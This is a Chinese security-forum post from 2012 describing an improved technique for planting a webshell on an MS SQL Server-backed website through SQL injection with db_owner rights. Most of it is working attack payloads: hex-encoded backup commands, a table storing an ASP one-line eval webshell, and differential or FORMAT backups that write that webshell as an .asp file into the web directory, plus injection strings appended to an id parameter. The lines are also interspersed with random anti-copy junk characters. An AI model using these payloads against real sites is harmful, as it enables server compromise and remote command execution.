找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2088|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:$ N/ L2 P& W7 d" c$ ]* U

7 z" m2 A; o! B( k) v减少备份文件大小,得到可执行的webshell成功率提高不少
. v- i4 ^% ^: J7 h) I, H一利用差异备份
. u! ^2 j- |# W% m  T加一个参数WITH DIFFERENTIAL
; X: c4 _. D  `  T. Y9 V7 i" r% r; w3 ^
1; I; Y$ X8 k& @" m0 t- ?
2
* f/ Z" @7 d+ b. d3
$ i( L. t/ P# m  P( f6 X8 E! R46 ~+ x; i; N# q2 A1 q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s- T( q7 Y9 u  f; G
create table [dbo].[xiaolu] ([cmd] [image]);
! `( L# c$ C1 \1 e1 b  j9 k: m  iinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" y: Y5 L5 g5 Q8 rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL ( }5 D8 o9 X7 ^: z) m

4 A6 k6 B% J7 n6 K二利用完全FORMAT7 `. ]5 P' h9 ~. e# I6 R8 A
加一个参数WITH FROMAT
  C8 o4 D8 u, p1 q  _0 D有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以5 u0 p6 d* t1 q: w* a3 ?5 g( y8 q

: ^6 j& H. j( \0 W( m: ^) y/ d6 w1& ]3 r" V7 h* X  G  ~* i7 e3 @% f4 d
2
, _- W0 H, n$ |$ ~. D4 E5 f3) V. O) G8 H2 |( R
4
8 q) W$ J' o, B6 N declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
$ c# I3 V. D4 `) Hcreate table [dbo].[xiaolu] ([cmd] [image]);) g4 C( V& J6 z4 a
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
" e/ Y# [- g+ E/ K: Rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT 3 u, s- \8 B& h. U" z

- L8 P& Y  k) M; x" F* Z4 J0 k总的来说就是那么简单几句,下面以备份数据库model为例子
8 k- ~4 n1 g2 x$ _3 i4 ~4 q1
  Q, k1 r# q9 j2 F4 M) u: [* d! |: Z' f
1  h) M  k2 ]5 M" ?# a: B7 r3 i
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
# Q6 g; p. [; \
: W( E+ B* W& {" M: x* O" x$ {/ f2
( m( T  p, K  S4 U2 u; V, }
3 T; U6 F" V$ V4 y$ m1$ k; J! D& V# Y% R6 E" q- }
id=1;backup database model to disk='你的路径‘ with differential,format;-- + c3 I* H  x2 x& p+ B$ U9 s" L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表